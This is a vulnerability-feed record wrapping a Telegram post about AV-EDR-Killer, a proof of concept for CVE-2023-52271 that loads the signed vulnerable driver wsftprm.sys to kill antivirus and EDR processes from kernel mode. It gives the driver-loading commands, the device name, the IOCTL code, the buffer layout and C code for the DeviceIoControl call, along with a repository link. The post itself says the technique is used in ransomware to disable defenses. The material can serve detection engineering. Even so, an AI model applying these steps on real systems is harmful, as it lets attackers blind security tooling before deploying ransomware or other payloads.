{"uuid": "1c153b29-da9f-49ca-bf41-00f1858cf6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-52271", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31224", "content": "\ud83d\udca3 AV-EDR-Killer \u2014 BYOVD Kernel Exploit via wsftprm.sys (CVE-2023-52271)\n\u2694\ufe0f Signed Driver Weaponization & Protected Process Termination\n\n\ud83d\udccc GitHub Repository\n\ud83d\udc49 https://github.com/xM0kht4r/AV-EDR-Killer\n\n\ud83d\udcd6 Description\nAV-EDR-Killer is a BYOVD-based proof-of-concept (PoC) demonstrating how a signed vulnerable driver (wsftprm.sys) can be abused to gain kernel-level capabilities and terminate protected AV/EDR processes.\nThe exploit uses IOCTL 0x22201C to pass a target process ID, allowing the driver to invoke ZwTerminateProcess and perform kernel-level process termination from user mode.\n\ud83d\udc49 Used in EDR bypass research, kernel exploitation, and Red Team post-exploitation\n\n\u26a0\ufe0f Important Note (Community Awareness)\n\ud83d\udc49 Vulnerability: CVE-2023-52271\n\u2022 signed driver (TPZ SOLUCOES DIGITAIS LTDA)\n\u2022 not consistently blocked by Microsoft driver blocklist\n\n\u26a0\ufe0f HIGH RISK \u2014 real-world attack technique\n\u2022 widely used in ransomware operations\n\u2022 disables AV/EDR before payload execution\n\n\ud83d\udc49 This is a manual PoC (NOT plug-and-play)\n\u2022 requires admin privileges\n\u2022 requires manual driver loading\n\u2022 requires building the binary\n\n\ud83d\udccc Community Note\n\ud83d\udc49 Category: BYOVD / EDR Killer PoC\n\u2022 not a framework\n\u2022 not automated\n\n\ud83d\udc49 Real-world behavior:\n\u2022 attackers first disable security controls\n\u2022 then deploy payloads\n\n\u2699\ufe0f Core Capabilities\n\ud83d\udca3 Protected Process Termination\n\u2022 kills AV / EDR processes\n\u2022 bypasses user-mode protections\n\u2022 leverages kernel execution\n\n\ud83e\uddec BYOVD Exploitation\n\u2022 loads vulnerable signed driver\n\u2022 abuses IOCTL interface\n\u2022 escalates capabilities to kernel\n\n\ud83d\udda5 Kernel-Level Execution\n\u2022 invokes ZwTerminateProcess\n\u2022 bypasses API hooks\n\u2022 operates below EDR visibility\n\n\u2699\ufe0f Exploit Flow\nRegister Driver Service\n        \u2193\nLoad wsftprm.sys\n        \u2193\nOpen Device Handle (\\\\.\\Warsaw_PM)\n        \u2193\nSend IOCTL (0x22201C)\n        \u2193\nPass Target PID\n        \u2193\nKernel Executes ZwTerminateProcess\n        \u2193\nKill AV / EDR Process\n\n\ud83e\udde0 Technical Highlights\n\u2022 CVE-2023-52271\n\u2022 IOCTL: 0x22201C\n\u2022 buffer size: 1036 bytes\n\u2022 first 4 bytes = PID (DWORD)\n\u2022 device: \\\\.\\Warsaw_PM\n\u2022 kernel API: ZwTerminateProcess\n\n\ud83e\udde0 Usage (Actual Steps)\n# 1. Register vulnerable driver (Admin required)\nsc create MalDriver binPath= C:\\path\\wsftprm.sys type= kernel\nsc start MalDriver\n\n# 2. Build PoC\ncargo build --release\n\n# 3. Execute\nAV-EDR-Killer.exe \n\n\ud83e\udde0 Driver Interaction (Concept)\nHANDLE hDevice = CreateFileW(\n    L\"\\\\\\\\.\\\\Warsaw_PM\",\n    GENERIC_READ | GENERIC_WRITE,\n    0, NULL, OPEN_EXISTING, 0, NULL\n);\n\nDeviceIoControl(\n    hDevice,\n    0x22201C,\n    buffer, // first 4 bytes = PID\n    1036,\n    NULL,\n    0,\n    &bytesReturned,\n    NULL\n);\n\n\ud83e\udde0 Workflow\nAdmin Access\n      \u2193\nLoad Vulnerable Driver\n      \u2193\nOpen Device Handle\n      \u2193\nSend Malicious IOCTL\n      \u2193\nKernel-Level Execution\n      \u2193\nTerminate Security Processes\n\n\ud83d\ude80 Why It Matters\n\u2022 demonstrates real-world BYOVD attack technique\n\u2022 highlights weakness in signed driver trust model\n\u2022 shows how EDR can be bypassed at kernel level\n\u2022 critical step in modern ransomware kill chains\n\n\ud83d\udca1 Research Value\nUseful for:\n\u2022 BYOVD exploitation research\n\u2022 kernel driver vulnerability analysis\n\u2022 EDR bypass techniques\n\u2022 Windows internals study\n\u2022 detection engineering\n\n\ud83d\udd25 Key Insight\nSigned Driver \u2192 IOCTL Abuse \u2192 Kernel Execution \u2192 Defense Kill\n\ud83d\udc49 Core concept behind modern EDR bypass attacks\n\n\u2714\ufe0f Exploit \u2714\ufe0f\n\u2714\ufe0f Scanner \u274c\n\u2714\ufe0f C2 \u274c\n\u2714\ufe0f BYOVD EDR Killer PoC \u2714\ufe0f\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:34.050281Z"}